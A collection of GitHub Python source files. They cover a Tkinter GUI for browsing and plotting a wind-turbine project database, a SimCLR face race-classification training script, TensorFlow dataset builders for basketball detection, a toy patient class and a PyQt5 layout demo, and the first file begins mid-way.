variable=self.var1).grid(row=1, column=0, sticky=tk.EW)\n        self.var2 = tk.IntVar(self)\n        tk.Checkbutton(self, text=\"Load/Update Power\", variable=self.var2).grid(row=2, column=0, sticky=tk.EW)\n        Label2 = tk.Label(self, text=\"Database statistics\")\n        Label2.grid(row=4, column=0)\n        button5 = ttk.Button(self, text='Database path', command=self.databasepath)\n        button5.grid(row=4, column=1, sticky=tk.EW)        \n        self.path3 = tk.StringVar(self)\n        self.path3.set('')\n        Entry3 = tk.Entry(self, text=self.path3)\n        Entry3.grid(row=4, column=2, columnspan=2, sticky=tk.EW)\n        button2 = tk.Button(self, text='Check out', command=self.checkout)\n        button2.grid(row=4, column=4, sticky=tk.EW)\n        Label3 = tk.Label(self, text=\"Number of porjects\")\n        Label3.grid(row=5, column=0)    \n        self.num = tk.StringVar(self)\n        self.num.set('')\n        Entry4 = tk.Entry(self, text=self.num)\n        Entry4.grid(row=5, column=1, columnspan=3, sticky=tk.EW)\n        button6 = tk.Button(self, text='Export', command=self.export)\n        button6.grid(row=5, column=4, sticky=tk.EW)        \n\n    def check_process(self):\n        \"\"\" Check every 1000 ms whether the process is finished \"\"\"\n        if self.process.finished:\n            messagebox.showinfo('Info', 'Completed')\n        else:\n            self.after(1, self.check_process)  \n            \n    def Update(self):\n        if self.var1.get() == 1:\n            try:\n                datafolder = self.path1.get()\n                outputpath = self.path2.get()\n                files = []\n                for file in os.listdir(datafolder):\n                    if file.endswith(\".xlsx\"):\n                        files.append(file)       \n                load.savedata(outputpath, load.import_data(datafolder, files))\n                self.process.run()\n                self.check_process()\n            except:\n                messagebox.showerror('Error', 'Unexpected error!')\n        elif self.var2.get() == 1:\n            pass\n        else:\n            messagebox.showerror('Error', 'Please select database type!')\n    \n    def folderpath(self):\n        datafolder = askdirectory()\n        self.path1.set(datafolder)\n        \n    def savepath(self):\n        outputpath = asksaveasfilename(defaultextension='.json', \n                                       filetypes=[(\"json files\", '*.json')],\n                                       title=\"Choose file\")\n        self.path2.set(outputpath)\n\n    def databasepath(self):\n        datapath = askopenfilename(title = \"Select database\", filetypes = [('All Files', '*.json')])\n        self.path3.set(datapath)\n        \n    def checkout(self):\n        try:\n            filepath = self.path3.get()\n            with open(filepath, 'r') as f:\n                self.data = json.load(f)\n                self.num.set(len(self.data))\n        except:\n            messagebox.showerror('Error', 'Please select database type!')\n    \n    def export(self):\n        pass\n\n\nclass PageTwo(tk.Frame):\n    def __init__(self, parent, controller):\n        tk.Frame.__init__(self, parent)\n        self.grid()\n        self.data = {}\n        self.Parameter = []\n        label = tk.Label(self, text=\"Library!\", font=LARGE_FONT)\n        label.grid()\n        button1 = ttk.Button(self, text=\"Back to Home\",\n                            command=lambda: controller.show_frame(StartPage))\n        button1.grid(row=21, column=0, sticky=tk.EW)\n        button3 = ttk.Button(self, text=\"Import database\", command=self.load_database)\n        button3.grid(row=1, column=0, sticky=tk.EW)\n        self.widget()\n        self.Tree_config()\n    \n    def widget(self):\n        self.option_variable1 = tk.StringVar(self)\n        self.option_variable1.set('Select WindTurbine')\n        self.Menu1 = tk.OptionMenu(self, self.option_variable1, 'None')\n        self.Menu1.grid(ipady=10, row=3, column=0, sticky=tk.EW)\n        self.option_variable2 = tk.StringVar(self)\n        self.option_variable2.set('Select Catagory')\n        self.Menu2 = tk.OptionMenu(self, self.option_variable2, 'None')\n        self.Menu2.grid(ipady=10, row=4, column=0, sticky=tk.EW)\n        self.option_variable3 = tk.StringVar(self)\n        self.option_variable3.set('Select Parameter')\n        self.Menu3 = tk.OptionMenu(self, self.option_variable3, 'None')\n        self.Menu3.grid(ipady=10, row=5, column=0, sticky=tk.EW)\n        self.pathvariable = tk.StringVar(self)\n        self.pathvariable.set('')\n        self.Entry1 = tk.Entry(self, text=self.pathvariable)\n        self.Entry1.grid(row=1, column=1, sticky=tk.EW)\n        Search = tk.Button(self, text=\"Search\", command=self.search)\n        Search.grid(row=6, column=0, sticky=tk.EW)\n        self.Company_name = ['金风', '远景', '明阳', '中车', '三一', 'All']\n        self.option_variable4 = tk.StringVar(self)\n        self.option_variable4.set('Superfilter')\n        self.Menu4 = tk.OptionMenu(self, self.option_variable4, *self.Company_name)\n        self.Menu4.grid(row=2, sticky=tk.EW)        \n\n    def Tree_config(self):\n        self.TreeFrame = ttk.Frame(self, padding=\"3\")\n        self.TreeFrame.grid(row=2, column=1, rowspan=20, sticky=tk.NSEW)\n        self.tree = ttk.Treeview(self.TreeFrame, columns=('Values'))\n        self.tree.column('Values', width=100, anchor='center')\n        self.tree.heading('Values', text='Values')\n        self.tree.pack(fill=tk.BOTH, expand=1)\n        \n    def JSONTree(self, Tree, Parent, Dictionary):\n        if isinstance(Dictionary, dict):\n            for key in Dictionary:\n                uid = uuid.uuid4()\n                if isinstance(Dictionary[key], dict):\n                    Tree.insert(Parent, 'end', uid, text=key)\n                    self.JSONTree(Tree, uid, Dictionary[key])\n                elif isinstance(Dictionary[key], list):\n                    Tree.insert(Parent, 'end', uid, text=key + '[]')\n                    self.JSONTree(Tree,\n                              uid,\n                              dict([(i, x) for i, x in enumerate(Dictionary[key])]))\n                else:\n                    value = Dictionary[key]\n                    if isinstance(value, str):\n                        value = value.replace(' ', '_')\n                    Tree.insert(Parent, 'end', uid, text=key, value=value)\n        else:\n            uid = uuid.uuid4()\n            Tree.insert(Parent, 'end', uid, value=Dictionary)\n            \n    def search(self):\n        try:\n            compname = self.option_variable4.get()\n            proname = self.option_variable1.get()\n            key1 = self.option_variable2.get()\n            key2 = self.option_variable3.get()\n            for row in self.tree.get_children():\n                self.tree.delete(row)\n            if key2 in list(itertools.chain.from_iterable(self.Parameter)):\n                self.JSONTree(self.tree, '', self.data[proname][key1][key2])\n            elif key1 in self.KeyList:\n                self.JSONTree(self.tree, '', self.data[proname][key1])\n            elif proname in self.Project:\n                self.JSONTree(self.tree, '', self.data[proname])\n            elif compname in self.Company_name and compname != 'All':\n                newdata = {}\n                for i in superfilter(self.data, compname):\n                    newdata[i] = self.data[i]\n                self.JSONTree(self.tree, '', newdata)\n            else:\n                self.JSONTree(self.tree, '', self.data)\n        except:\n            messagebox.showerror('Error', 'No data!!')\n    \n    def autoupdate_option1(self, *args):\n        self.Menu3[\"menu\"].delete(0, \"end\")\n        for i in range(len(self.KeyList)):\n            if self.option_variable2.get() == self.KeyList[i]:\n                for item in self.Parameter[i]:\n                    self.Menu3['menu'].add_command(label=item, \n                                                   command=tk._setit(self.option_variable3, item))            \n        self.Menu3['menu'].add_command(label='None', \n                                       command=tk._setit(self.option_variable3, 'None'))\n\n    def autoupdate_option2(self, *args):\n        if self.option_variable4.get() != 'All':\n            self.Menu1['menu'].delete(0, 'end')\n            newlist = superfilter(self.data, self.option_variable4.get())\n            for item in newlist:\n                self.Menu1['menu'].add_command(label=item, \n                                               command=tk._setit(self.option_variable1, item))            \n            self.Menu1['menu'].add_command(label='None', \n                                   command=tk._setit(self.option_variable1, 'None'))\n        else:\n            updatelist(self.option_variable1, self.Menu1, self.Project)    \n        \n    def load_database(self):\n        filepath = askopenfilename(initialdir = \"/\", \n                                   title = \"Select database\", filetypes = [('All Files', '*.json')])\n        try:\n            self.pathvariable.set(filepath)\n            with open(filepath, 'r') as f:\n                self.data = json.load(f)\n            self.Project = list(self.data.keys())\n            self.KeyList = getKey(self.data)[0]\n            self.Parameter = getKey(self.data)[1]          \n            updatelist(self.option_variable1, self.Menu1, self.Project)\n            updatelist(self.option_variable2, self.Menu2, self.KeyList)\n            self.option_variable2.trace('w', self.autoupdate_option1)\n            self.option_variable4.trace('w', self.autoupdate_option2)\n        except:\n            messagebox.showwarning(title='Warning', message='Please load database!')\n\n\nclass PageThree(tk.Frame):\n    def __init__(self, parent, controller):\n        tk.Frame.__init__(self, parent)\n        self.grid()\n        self.data = {}\n        self.Parameter = []\n        self.widget()\n        label = tk.Label(self, text=\"Graph Page!\", font=LARGE_FONT)\n        label.grid(row=0) \n        button1 = ttk.Button(self, text=\"Back to Home\",\n                            command=lambda: controller.show_frame(StartPage))\n        button1.grid(row=5, column=2)\n        button2 = ttk.Button(self, text='Load database', command=self.load_database)\n        button2.grid(row=1, column=0, sticky=tk.EW)\n        f = Figure(figsize=(4,4), dpi=100)\n        self.a = f.add_subplot(111)\n        self.canvas = FigureCanvasTkAgg(f, self)\n        self.canvas.get_tk_widget().grid() \n        navigation_frame = tk.Frame(self)\n        navigation_frame.grid(row=5, columnspan=2) \n        toolbar = NavigationToolbar2Tk(self.canvas, navigation_frame)\n        toolbar.update()\n        self.canvas._tkcanvas.grid(row=4, columnspan=2) \n\n    def widget(self):\n        self.option_variable1 = tk.StringVar(self)\n        self.option_variable1.set('Filter data to X axis')\n        self.Menu1 = tk.OptionMenu(self, self.option_variable1, 'None')\n        self.Menu1.grid(row=3, column=0, sticky=tk.EW) \n        self.option_variable2 = tk.StringVar(self)\n        self.option_variable2.set('Filter data to Y axis')\n        self.Menu2 = tk.OptionMenu(self, self.option_variable2, 'None')\n        self.Menu2.grid(row=3, column=1, sticky=tk.EW)\n        self.option_variable3 = tk.StringVar(self)\n        self.option_variable3.set('Select catagory to X axis')\n        self.Menu3 = tk.OptionMenu(self, self.option_variable3, 'None')\n        self.Menu3.grid(row=2, column=0, sticky=tk.EW) \n        self.option_variable4 = tk.StringVar(self)\n        self.option_variable4.set('Select catagory to Y axis')\n        self.Menu4 = tk.OptionMenu(self, self.option_variable4, 'None')\n        self.Menu4.grid(row=2, column=1, sticky=tk.EW)               \n        self.pathvariable = tk.StringVar(self)\n        self.pathvariable.set('')\n        self.Entry1 = tk.Entry(self, text=self.pathvariable)\n        self.Entry1.grid(row=1, column=1, sticky=tk.EW)\n        self.button3 = tk.Button(self, text='Plot', command=self.plot)\n        self.button3.grid(row=2, column=2, sticky=tk.EW)\n        self.button4 = tk.Button(self, text='Clear', command=self.clearplot)\n        self.button4.grid(row=3, column=2, sticky=tk.EW)\n        self.lookup_name = tk.StringVar(self)\n        self.lookup_name.set('')\n        self.Entry2 = tk.Entry(self, text=self.lookup_name)\n        self.Entry2.grid(row=1, column=2)\n\n    def autoupdate_option1(self, *args):\n        self.Menu1[\"menu\"].delete(0, \"end\")\n        for i in range(len(self.KeyList)):\n            if self.option_variable3.get() == self.KeyList[i]:\n                for item in self.Parameter[i]:\n                    self.Menu1['menu'].add_command(label=item, \n                                                   command=tk._setit(self.option_variable1, item))            \n\n    def autoupdate_option2(self, *args):\n        self.Menu2[\"menu\"].delete(0, \"end\")\n        for i in range(len(self.KeyList)):\n            if self.option_variable4.get() == self.KeyList[i]:\n                for item in self.Parameter[i]:\n                    self.Menu2['menu'].add_command(label=item, \n                                                   command=tk._setit(self.option_variable2, item))        \n    \n    def clearplot(self):\n        self.a.clear()\n        self.canvas.draw()\n    \n    def load_database(self):\n        filepath = askopenfilename(initialdir = \"/\", \n                                   title = \"Select database\", filetypes = [('All Files', '*.json')])\n        try:\n            self.pathvariable.set(filepath)\n            with open(filepath, 'r') as f:\n                self.data = json.load(f)\n            self.KeyList = getKey(self.data)[0]\n            self.Parameter = getKey(self.data)[1]\n            updatelist(self.option_variable3, self.Menu3, self.KeyList)\n            updatelist(self.option_variable4, self.Menu4, self.KeyList)\n            self.option_variable3.trace('w', self.autoupdate_option1)\n            self.option_variable4.trace('w', self.autoupdate_option2)            \n        except:\n            messagebox.showwarning(title='Warning', message='Please load database!')\n\n    def onpick(self,event):\n        thisline = event.artist\n        xdata = thisline.get_xdata()\n        ydata = thisline.get_ydata()\n        ind = event.ind\n        self.data1 = float(xdata[ind][0])\n        self.data2 = float(ydata[ind][0])      \n        self.lookup_name.set(find_key(self.data2, self.data))\n        print('onpick points:', self.data2)\n    \n    def plot(self):\n        try:\n            key1 = self.option_variable3.get()\n            key2 = self.option_variable4.get()\n            key3 = self.option_variable1.get()\n            key4 = self.option_variable2.get()\n            xdata = [getfloat(i) for i in Dictfilter(self.data, key1, key3)] \n            ydata = [getfloat(i) for i in Dictfilter(self.data, key2, key4)]\n            print(xdata)\n            print(ydata)\n            self.a.plot(xdata, ydata, 'o', picker=3, label=re.split('[(（]', key4)[0])\n            self.canvas.mpl_connect('pick_event', self.onpick)\n            self.a.ticklabel_format(axis=\"both\", style=\"sci\", scilimits=(0,0))\n            self.a.legend(loc='upper left', borderaxespad=0.)\n            self.canvas.draw()            \n        except:\n            messagebox.showerror(title='Error', message='Error!')    \n\n\nLARGE_FONT= ('calibri', 15)\n\n\n# def graph():\n#     xList = [1, 2]\n#     yList = [1, 2]\n#     a.clear()\n#     a.plot(xList, yList)\n\n\napp = Application()\n# ani = graph()\napp.mainloop()\n        ","repo_name":"maple24/Database","sub_path":"DataBase_GUI.py","file_name":"DataBase_GUI.py","file_ext":"py","file_size_in_byte":22278,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"43728388618","text":"#!/usr/bin/env python3\nimport torch\nimport torchvision as tv\nfrom torchvision.transforms import transforms\nfrom torch.utils.data import random_split\n\nfrom SimCLR.Augment import TrainDataAugmentation, TuneDataAugmentation,\\\n  SimCLRDataTransform, TuneDataTransform\nfrom SimCLR.Makers import SimCLR\nfrom SimCLR.Models import ResNetSimCLR\n\nimport matplotlib.pyplot as plt\nfrom sklearn.metrics import confusion_matrix, ConfusionMatrixDisplay\n  \nimport pickle \n\ndef train_race_fr():\n  s=1\n  input_shape = (128,128,3)  \n\n  # set up training data\n  train_trans = TrainDataAugmentation(s, input_shape)\n  train_aug = train_trans.augment()\n\n  train_data = tv.datasets.ImageFolder(\n    root='Data/unlabeled', transform=SimCLRDataTransform(train_aug)\n  )\n\n  # set up tuning and validation data\n  tune_trans = TuneDataAugmentation(s, input_shape)\n  tune_aug = tune_trans.augment()\n\n  tune_val_data = tv.datasets.ImageFolder(\n    root='Data/supervised', transform=TuneDataTransform(tune_aug)\n  )\n\n  tune_data, val_data = random_split(tune_val_data, [7112, 16595])\n\n  # create the base model\n  model = ResNetSimCLR(\n    in_channels=3, n_classes=5, mlp_layers=2, blocks_layers=[3,4,6,3]\n  )\n\n  simclr = SimCLR(model)\n  print(f'Our model has {simclr.trainer.num_params:,} parameters')\n\n  results = simclr.full_model_maker(\n    train_data, tune_data, val_data, n_cycles=1, train_epochs=71, tune_epochs=31,\n    train_path='chkpt/race_train.tar', tune_path='chkpt/race_tune.tar'\n  )\n\n  return results\n\ndef finish_the_job():\n  s=1\n  input_shape = (128,128,3)  \n\n  # set up training data\n  train_trans = TrainDataAugmentation(s, input_shape)\n  train_aug = train_trans.augment()\n\n  train_data = tv.datasets.ImageFolder(\n    root='Data/unlabeled', transform=SimCLRDataTransform(train_aug)\n  )\n\n  # set up tuning and validation data\n  tune_trans = TuneDataAugmentation(s, input_shape)\n  tune_aug = tune_trans.augment()\n\n  tune_val_data = tv.datasets.ImageFolder(\n    root='Data/supervised', transform=TuneDataTransform(tune_aug)\n  )\n\n  tune_data, val_data = random_split(tune_val_data, [7112, 16595])\n\n  saved = torch.load('chkpt/race_train.tar70')\n  trained_model = model = ResNetSimCLR(\n    in_channels=3, n_classes=5, mlp_layers=2, blocks_layers=[3,4,6,3]\n  )\n  trained_model.load_state_dict(saved['model_state_dict'])\n\n  simclr = SimCLR(trained_model)\n\n  model = simclr.trainer.return_model()\n  simclr.make_tuner(model)\n\n  tune_epochs = 50\n  tune_path = 'chkpt/race_tune.tar'\n\n  model, tune_losses = simclr.tune(tune_data, tune_epochs, tune_path)\n\n  simclr.make_validator(simclr.tuner.model)\n  acc, actual, predicted = simclr.validate(val_data)\n\n  results = (model, tune_losses, acc, actual, predicted)\n\n  return results\n\n\nif __name__ == \"__main__\":\n\n  # model, train_loss, tune_loss, accuracy, actual, predicted = train_race_fr()\n  model, tune_loss, accuracy, actual, predicted = finish_the_job()\n\n  # pickle everything \n  with open('chkpt/race_fr_again.pickle', 'wb') as out_file:\n    pickle.dump(\n      (tune_loss, accuracy, actual, predicted),\n      out_file\n    )\n  \n  torch.save(\n    {'model_state_dict': model.state_dict()}, 'chkpt/final_race_model.tar'\n  )\n\n  # plt.plot(train_loss)\n  # plt.title('train loss')\n  # plt.savefig('vis/race_fr_train_losses.png')\n  # plt.clf()\n\n  plt.plot(tune_loss)\n  plt.title('tune losses')\n  plt.savefig('vis/race_fr_tune_losses.png')\n  plt.clf()\n\n  # plt.plot(accuracy)\n  # plt.title('accuracy')\n  # plt.savefig('vis/race_fr_accuracy.png')\n  # plt.clf()\n\n\n  classes = [\n    'white', 'black', 'asian', 'indian', 'other'\n  ]\n\n  matrix = confusion_matrix(actual, predicted, labels=[0,1,2,3,4])\n\n  figure = plt.figure(figsize=(16,9))\n  ax = figure.add_subplot(111)\n\n\n  disp = ConfusionMatrixDisplay(confusion_matrix=matrix, display_labels=classes)\n  disp.plot(ax=ax)\n\n  plt.title(f'accuracy = {accuracy}')\n\n  plt.savefig('vis/race_fr_confusion_matrix.png')\n  plt.clf()\n  ","repo_name":"EthanMWalker/face-classification","sub_path":"scripts/runFR_race.py","file_name":"runFR_race.py","file_ext":"py","file_size_in_byte":3888,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"73494979070","text":"\"\"\"\nThis module contains all the classes used to build the datasets for this project.\nIt is assumed that the datasets' structure is as follows:\n1. **For classification datasets**: starting from the root directory, the images are organized in the following\ndirectory structure:\n    1. [season]/[match]/ball for patches that represent a ball\n    2. [season]/[match]/no_ball for patches that don't represent a ball\n\nThe same game may be played in different seasons.\n2. **For segmentation datasets**: starting from the root directory, the images and masks are organized in the following\ndirectory structure:\n    1. [season]/[match]/frames for the video frames\n    2. [season]/[match]/masks for the corresponding masks\n\nThe same game may be played in different seasons. The correspondences between frames and masks are determined by\nthe frame index.\n\"\"\"\n\nimport glob\nimport pathlib\nimport os.path\nfrom typing import Any\n\nimport tensorflow as tf\nimport numpy as np\n\nfrom .utils import decode_image\n\n\ndef _configure_for_performance(dataset: tf.data.Dataset, buffer_size: int, batch_size: int) -> tf.data.Dataset:\n    dataset = dataset.cache()\n    dataset = dataset.shuffle(buffer_size)\n    dataset = dataset.batch(batch_size)\n    dataset = dataset.prefetch(buffer_size=tf.data.AUTOTUNE)\n    return dataset\n\n\nclass ClassificationDatasetBuilder:\n    \"\"\"\n    Class used to build a classification dataset for this project\n    \"\"\"\n    def __init__(self,\n                 data_directory: str,\n                 image_width: int,\n                 image_height: int,\n                 validation_percentage: float = 0.2):\n        \"\"\"\n        Class constructor\n        :param data_directory: Dataset root directory\n        :param image_width: Target image width\n        :param image_height: Target image height\n        :param validation_percentage: Percentage of images to be used as validation data\n        \"\"\"\n        self.__image_width = image_width\n        self.__image_height = image_height\n        data_path = pathlib.Path(data_directory)\n        all_images_dataset = tf.data.Dataset.list_files(str(data_path / '*/*/*/*'), seed=2023)\n        self.__image_count = tf.data.experimental.cardinality(all_images_dataset).numpy()\n        self.__class_names = np.unique(sorted([item.name for item in data_path.glob('*/*/*')]))\n        print('Found the following classes: ', self.__class_names)\n\n        validation_size = int(self.__image_count * validation_percentage)\n        self.__train_dataset = all_images_dataset.skip(validation_size)\n        self.__validation_dataset = all_images_dataset.take(validation_size)\n        print(self.__train_dataset.cardinality().numpy(), 'images in training dataset')\n        print(self.__validation_dataset.cardinality().numpy(), 'images in validation dataset')\n\n        self.__train_dataset = self.__train_dataset.map(\n            self.__get_image_label_pair_from_path,\n            num_parallel_calls=tf.data.AUTOTUNE\n        )\n        self.__validation_dataset = self.__validation_dataset.map(\n            self.__get_image_label_pair_from_path,\n            num_parallel_calls=tf.data.AUTOTUNE\n        )\n\n    @property\n    def number_of_images(self) -> int:\n        \"\"\"\n        This method returns the number of images contained in this dataset\n        :return: The number of images loaded into the dataset\n        \"\"\"\n        return self.__image_count\n\n    @property\n    def class_names(self) -> [str, str]:\n        \"\"\"\n        This method returns the classifier's classes obtained from the directory structure\n        :return: The classes to be used by the classifier\n        \"\"\"\n        return self.__class_names\n\n    @property\n    def train_dataset(self) -> tf.data.Dataset:\n        \"\"\"\n        This method returns the training dataset.\n        It is a portion of the whole (shuffled) dataset, obtained based on the validation_percentage parameter\n        :return: The training dataset\n        \"\"\"\n        return self.__train_dataset\n\n    @property\n    def validation_dataset(self) -> tf.data.Dataset:\n        \"\"\"\n        This method returns the validation dataset.\n        It is a portion of the whole (shuffled) dataset, obtained based on the validation_percentage parameter\n        :return: The validation dataset\n        \"\"\"\n        return self.__validation_dataset\n\n    def __get_label(self, file_path: tf.Tensor) -> int:\n        parts = tf.strings.split(file_path, os.path.sep)\n        one_hot = parts[-2] == self.__class_names\n        return tf.argmax(one_hot)\n\n    def __get_image_label_pair_from_path(self, file_path: tf.Tensor) -> (Any, int):\n        label = self.__get_label(file_path)\n        image_data = tf.io.read_file(file_path)\n        image = decode_image(image_data, image_width=self.__image_width, image_height=self.__image_height)\n        return image, label\n\n    def configure_datasets_for_performance(self, shuffle_buffer_size: int = 10000, input_batch_size: int = 32):\n        \"\"\"\n        This method sets some optimizations for the training and validation datasets, in order to improve performance\n        :param shuffle_buffer_size: Size of the shuffle buffer to be used with the training dataset\n        :param input_batch_size: Input batch size for both datasets\n        :return: None\n        \"\"\"\n        self.__train_dataset = _configure_for_performance(self.__train_dataset, shuffle_buffer_size, input_batch_size)\n        self.__validation_dataset = self.__validation_dataset.cache()\n        self.__validation_dataset = self.__validation_dataset.batch(input_batch_size)\n        self.__validation_dataset = self.__validation_dataset.prefetch(buffer_size=tf.data.AUTOTUNE)\n\n\nclass SegmentationDatasetBuilder:\n    \"\"\"\n    Class used to build a segmentation dataset for this project\n    \"\"\"\n    def __init__(self,\n                 data_directory: str,\n                 image_width: int,\n                 image_height: int,\n                 validation_percentage: float = 0.2):\n        \"\"\"\n        Class constructor\n        :param data_directory: Dataset root directory\n        :param image_width: Target image width\n        :param image_height: Target image height\n        :param validation_percentage: Percentage of images to be used as validation data\n        \"\"\"\n        self.__image_width = image_width\n        self.__image_height = image_height\n        data_path = pathlib.Path(data_directory)\n        input_image_paths = [\n            input_image_path\n            for input_image_path in glob.iglob(str(data_path / '*/*/frames/*.png'))\n        ]\n        mask_image_paths = [\n            mask_image_path\n            for mask_image_path in glob.iglob(str(data_path / '*/*/masks/*.png'))\n        ]\n        self.__image_count = len(input_image_paths)\n        validation_size = int(self.__image_count * validation_percentage)\n        print(len(input_image_paths), 'frames, with', len(mask_image_paths), 'corresponding ground truth masks')\n        print(validation_size, 'samples will be set aside as validation data')\n\n        if len(input_image_paths) != len(mask_image_paths):\n            raise ValueError('The number of frames is different than the number of ground truth masks, aborting')\n\n        samples_datasets = []\n        masks_datasets = []\n        for match_directory_path in glob.glob(str(data_path / '*/*/')):\n            match_directory = pathlib.Path(match_directory_path)\n            match_input_image_paths = [\n                match_input_image_path\n                for match_input_image_path in glob.iglob(str(match_directory / 'frames/*.png'))\n            ]\n            match_mask_image_paths = [\n                match_mask_image_path\n                for match_mask_image_path in glob.iglob(str(match_directory / 'masks/*.png'))\n            ]\n            match_input_image_paths.sort(key=lambda file_path: int(file_path.split('_')[-1].split('.')[-2]))\n            match_mask_image_paths.sort(key=lambda file_path: int(file_path.split('_')[-1].split('.')[-2]))\n\n            samples_dataset = tf.data.Dataset.from_tensor_slices(tf.constant(match_input_image_paths))\n            masks_dataset = tf.data.Dataset.from_tensor_slices(tf.constant(match_mask_image_paths))\n            samples_datasets.append(samples_dataset)\n            masks_datasets.append(masks_dataset)\n\n        samples = samples_datasets[0]\n        for dataset in samples_datasets[1:]:\n            samples = samples.concatenate(dataset)\n\n        masks = masks_datasets[0]\n        for dataset in masks_datasets[1:]:\n            masks = masks.concatenate(dataset)\n\n        filenames_dataset = tf.data.Dataset.zip((samples, masks))\n        filenames_dataset = filenames_dataset.shuffle(buffer_size=filenames_dataset.cardinality(),\n                                                      reshuffle_each_iteration=False)\n        dataset = filenames_dataset.map(\n            self.__get_frame_and_mask_from_filepaths,\n            num_parallel_calls=tf.data.AUTOTUNE\n        )\n\n        print(f'Found {dataset.cardinality().numpy()} frames in total')\n        self.__train_dataset = dataset.skip(validation_size)\n        self.__validation_dataset = dataset.take(validation_size)\n        print(f'{self.__train_dataset.cardinality().numpy()} frames in training dataset')\n        print(f'{self.__validation_dataset.cardinality().numpy()} frames in validation dataset')\n\n    def __get_frame_and_mask_from_filepaths(self,\n                                            frame_filepath: tf.Tensor,\n                                            mask_filepath: tf.Tensor) -> (tf.Tensor, tf.Tensor):\n        frame_data = tf.io.read_file(frame_filepath)\n        mask_data = tf.io.read_file(mask_filepath)\n        frame = decode_image(frame_data, image_width=self.__image_width, image_height=self.__image_height)\n        mask = decode_image(mask_data, image_width=self.__image_width, image_height=self.__image_height, channels=1)\n        # 2 as the number of classes\n        mask = tf.one_hot(tf.cast(mask, tf.uint8), 2)\n        mask = tf.squeeze(mask)\n        mask = tf.cast(mask, tf.float32)\n        return frame, mask\n\n    @property\n    def train_dataset(self) -> tf.data.Dataset:\n        \"\"\"\n        This method returns the training dataset.\n        It is a portion of the whole (shuffled) dataset, obtained based on the validation_percentage parameter\n        :return: The training dataset\n        \"\"\"\n        return self.__train_dataset\n\n    @property\n    def validation_dataset(self) -> tf.data.Dataset:\n        \"\"\"\n        This method returns the validation dataset.\n        It is a portion of the whole (shuffled) dataset, obtained based on the validation_percentage parameter\n        :return: The validation dataset\n        \"\"\"\n        return self.__validation_dataset\n\n    @property\n    def number_of_samples(self) -> int:\n        \"\"\"\n        This method returns the number of samples contained in this dataset\n        :return: The number of image, mask pairs loaded into the dataset\n        \"\"\"\n        return self.__train_dataset.cardinality().numpy() + self.__validation_dataset.cardinality().numpy()\n\n    def configure_datasets_for_performance(self, shuffle_buffer_size: int = 1000, input_batch_size: int = 10):\n        \"\"\"\n        This method sets some optimizations for the training and validation datasets, in order to improve performance\n        :param shuffle_buffer_size: Size of the shuffle buffer to be used with the training dataset\n        :param input_batch_size: Input batch size for both datasets\n        :return: None\n        \"\"\"\n        self.__train_dataset = _configure_for_performance(self.__train_dataset, shuffle_buffer_size, input_batch_size)\n        self.__validation_dataset = self.__validation_dataset.cache()\n        self.__validation_dataset = self.__validation_dataset.batch(input_batch_size)\n        self.__validation_dataset = self.__validation_dataset.prefetch(buffer_size=tf.data.AUTOTUNE)\n","repo_name":"peiva-git/basketball_detector_tf","sub_path":"basketballdetector/data/dataset_builders.py","file_name":"dataset_builders.py","file_ext":"py","file_size_in_byte":11842,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"8557381055","text":"class patient:\n    def __init__(self, name, age, born):\n        self.name = name\n        self.age = age\n        self.born = born\n        self.health = True # feel good\n        self.diagnosis = 0\n    \n    def ill (self):\n        self.health = False # feel bad\n        print('You should take medicine')\n        \n    def status (self, check):\n        self.diagnosis = self.diagnosis + check\n            \n    \nnew_person = patient('Anton', 38, 1980)\nprint(f'{new_person.name} {new_person.age} {new_person.born}')\nnew_person.ill()\nprint(new_person.health)\nnew_person.status('Diarrhea')\nprint(new_person.diagnosis)\n","repo_name":"Timur1986/OOP","sub_path":"patient.py","file_name":"patient.py","file_ext":"py","file_size_in_byte":609,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"17447139797","text":"import sys\nfrom PyQt5 import QtWidgets,QtGui\n\ndef Window():\n\n    app = QtWidgets.QApplication(sys.argv)\n\n    okay = QtWidgets.QPushButton(\"Okay\")\n    cancel = QtWidgets.QPushButton(\"Cancel\")\n\n    v_box = QtWidgets.QVBoxLayout()\n    v_box.addStretch()\n    v_box.addWidget(okay)\n    v_box.addWidget(cancel)\n\n\n    h_box = QtWidgets.QHBoxLayout()\n    #h_box.addWidget(okay)\n    #h_box.addWidget(cancel)\n    h_box.addStretch()\n    h_box.addLayout(v_box)\n\n\n\n    window = QtWidgets.QWidget()\n\n    button = QtWidgets.QPushButton(window)\n\n    button.setText(\"This is a button.....\")\n\n    window.setWindowTitle(\"PyQt5 Lesson 1\")\n\n    label1 = QtWidgets.QLabel(window)\n\n    label2 = QtWidgets.QLabel(window)\n    label2.setPixmap(QtGui.QPixmap(\"python.png\"))\n\n    label1.setText(\"This is a.....\")\n    label1.move(350,30)\n\n    window.setLayout(h_box)\n\n    window.setGeometry(100,100,800,500)\n\n    window.show()\n\n    sys.exit(app.exec_())\n\nWindow()","repo_name":"tacettinkustu/Learning-Python","sub_path":"Pyqt5/pyqt-1.py","file_name":"pyqt-1.py","file_ext":"py","file_size_in_byte":934,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
